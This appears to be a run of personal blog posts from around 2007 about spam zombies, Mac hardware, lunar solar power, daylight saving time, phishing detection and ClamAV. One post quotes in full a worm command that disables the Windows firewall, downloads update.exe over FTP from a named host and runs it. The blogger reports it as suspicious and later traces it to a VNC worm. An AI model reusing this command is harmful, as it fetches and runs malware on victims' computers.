Around 80% of the Spam messages on the Internet are sent by Spam Zombies. For those who don’t know what I’m talking about, Spam Zombies are normal PCs that were infected by some malicious software and then controlled by some spammer.

The spammer then uses a backoffice to send orders to those infected PCs, or basically to send spam for living..

This nice post from pmontoya, shows exactly what such a backoffice looks like.

Microsoft has available on its site a Virtual PC Image with Windows XP and Internet Explorer 6 or 7, so Web Developers can test their applications on both versions of the browser.

I installed the image with IE7. When you start the image you have a couple of shortcuts in the Desktop. One of them is to install the IE7 Readiness Toolkit. When you try to install it, it checks if you are running Genuine Microsoft Software.

Guess what?

This copy of Windows did not pass genuine validation. The product key found on this computer was reported as stolen or lost.

Is there any Mac Skype user out there receiving the following type of messages from other Mac Skype users?

5systemroot5\system32\cmd.exe
cmd -c net stop sharedaccess 7echo open elterryer.serveftp.com 21 .. ij 7echo user a b .. ij 7echo binary .. ij 7echo get update.exe .. ij 7echo bye .. ij 7ftp ‘n ‘v ‘sçij 7del ij 7update.exe 7net start sharedaccess 7exit

Lately I’ve been receiving this message from my mom. I was able to successfully connect the ftp server described in the message. Obviously this is some sort of Worm/Trojan that is affecting Skype users, but what is confusing me is that I’m receiving this message from a Mac user. My mom owns a Mac mini, running MacOSX 10.4.9. I already received 3 messages like this from her.

Since Skype released its API there have been a few worms/trojans going around. I know people that joins chat rooms without doing anything to join them. I’m just wondering if this is a Skype-only issue and not worry about it or if I should really worry about it and do something to her computer.

[Update 29th May: I found out that this is not related to Skype. It’s a worm based on a brute force attack to VNC servers. It doesn’t really do anything else other than having that block of text pasted in the window with the focus. For more information see http://episteme.arstechnica.com/eve/forums/a/tpc/f/469092836/m/264004244831 ]

Now, as a new Macbook user and ex-Powerbook user, I can express my opinion about both.

The Macbook is the black version, 2GHz Intel Core 2 Duo, 2Gb RAM. The Powerbook is 2 years old and it’s the 15″ version with the Powerdrive.

The performance of this Macbook is really awesome. Everything is super fast. It’s the fastest experience I have ever had with computers (Laptops and PCs). I love everything about it except two things: the display and the keyboard, but mainly the display.

About the display, I hate the fact that it is glossy and the visualization angle sucks. I wonder why computer hardware manufacturers reverted back to glossy displays. More than a decade ago, displays used to be glossy, but then someone with a brain realized glossy displays equal reflection, so they started making them matte. What was the Neanderthal reason for reverting back?

Well, about the keyboard I can’t really say that I hate it. At least the first impression was not good, but I’m still adapting. I don’t understand what’s the deal about flat keys. I thought the use of ergonomic keys was a standard nowadays. We’ll see in a couple of weeks whether I will get used to it and start preferring it or not.

About the old Powerbook, it is 2 years old and it is still good for today’s software. The display, unlike the Macbook’s display is awesome: it’s matte and the visualization angle is the best one I have ever seen on a laptop.

I was watching a documentary on TV about the moon and I was impressed with the plans or project drafs they have for the moon.

One of the things that caught my eye was Lunar Solar Power. This is not anything new, but I just became aware of it.

Everyone knows that the consumption of electrical power is on the rise and unless we find a viable alternative solution to fossil fuels, we will ultimately run out of it.

The solution presented was Lunar Solar Power. Why? Because the moon has excellent conditions for Solar Power. The idea would be to install Solar panels on the moon, and transmit the collected power to earth through microwaves to receivers at sites located worldwide. Each receiver would supply commercial power to a given region. Such a receiver, called a rectenna, would consist of a large field of small rectifying antennas. Unlike sunlight, microwaves pass through rain, clouds, dust, and smoke. Power can be supplied to the rectenna at night Several thousand individual rectennas strategically located around the globe.

To enrich your knowledge about this you can start reading the following paper:
– Lunar Solar Power Generation

Yesterday, I got the MacOSX updates for the Daylight Saving Time’s change in the US.

Million of computers will be updated because in accordance with the Energy Policy Act of 2005, Daylight Saving Time has been expanded by three weeks this year. Beginning in 2007, the United States will observe Daylight Saving Time from the second Sunday in March (March 11) until the first Sunday in November (November 4). This represents a shift from ordinary Daylight Saving Time observance in the northern Hemisphere, with the period beginning two weeks earlier and ending one week later.

Why Is Daylight Saving Time Changing?

In an attempt to reduce energy consumption, the US Congress, in section 110 of the “Energy Policy Act of 2005” announced plans to move the start and ending dates of Daylight Saving Time on the grounds that it allows more effective use of natural sunlight, diminishing the need for electric lighting during the “waking day.” All of Canada (except the regions that do not follow daylight saving) will also observe the new period to avoid possible economic losses from confusion with the United States. Bermuda has announced a similar plan. Studies will determine if this change remains permanent.

Continue reading →

I was reading a paper about an engine to detect phishing Web Sites – CANTINA – developed by Carnegie Mellon University and University of Pittsburgh. I guess they came up with an interesting idea:

Roughly, CANTINA works as follows:
• Given a web page, calculate the TF-IDF scores of each term
on that web page.
• Generate a lexical signature by taking the five terms with
highest TF-IDF weights.
• Feed this lexical signature to a search engine, which in our
case is Google.
• If the domain name of the current web page matches the
domain name of the N top search results, we consider it to be
a legitimate web site. Otherwise, we consider it a phishing
site. (We varied the value of N, as described in the evaluation,
to balance false positives with false negatives; however, we
found that going beyond the top 30 results had little practical
effect.)

They say the effectiviness of this engine is 95%. I guess they’re presenting this paper at www2007.

Now you ask: What the hell is TF-IDF?
The term frequency (TF) is simply the number of times a given
term appears in a specific document. The term IDF (inverse d ocument frequency) measures how common a term is across an entire collection of documents.

I guess ClamAV folks released the long awaited ClamAV 0.90.

This version introduces lots of new interesting features and marks a big step forward in the development of our antivirus engine.

(…)

As part of the Google Summer of Code program, we have introduced support for a new phishing signatures format that has proved very effective in detecting phishing emails. The ClamAV phishing module allows better and more generic detection of phishing emails by searching for URLs in email messages, and comparing the real site with the URL displayed to the user in the message.

(…)

On the performance side, support for the MULTISCAN command has been implemented in clamd, allowing to scan multiple files simultaneously.

PS: I know someone that will not go to sleep before upgrade to this version somewhere… 🙂

Ladies and Gentleman, from the Skype visionaries, Joost…

What is Joost™?

“Joost™ is a new way of watching TV on the internet, which uses new and established technologies to provide the best of both the internet and TV worlds. We’re in the process of making it as TV-like as we can, with programmes, channels and adverts. You can also see some things that we think will enhance the TV experience: searching for programmes and channels, for example, as well as social features like chat. There are many more new features to come!”

It looks like there is no MacOSX version yet, they expect it to be available in the next few months. I guess we have no choice but to wait.

I love the idea and the concept, actually I’ve thought about this concept sometime ago, but I guess they came up with the idea even before Skype was born. They were just waiting for the right combination of factors – widespread broadband and powerful computers in particular.

You can read everything here.

Rotterdam introduces the first ‘Sustainable Dance Club’.

(…)

Producing and consuming in a responsible manner are no longer reserved for a small group. Enviu – innovators in sustainability – and Döll – studio for the art of building – have developed the Sustainable Dance Club together. An attractive way of clubbing combined with a low impact on the environment. Soon you can generate energy while dancing and flush the toilet with rainwater. The color of the walls changes as a reaction to the heat without any energy use and you can drink a biological beer at the water basin on the ‘relax roof’. These are just a few examples of what the Sustainable Dance Club can entail.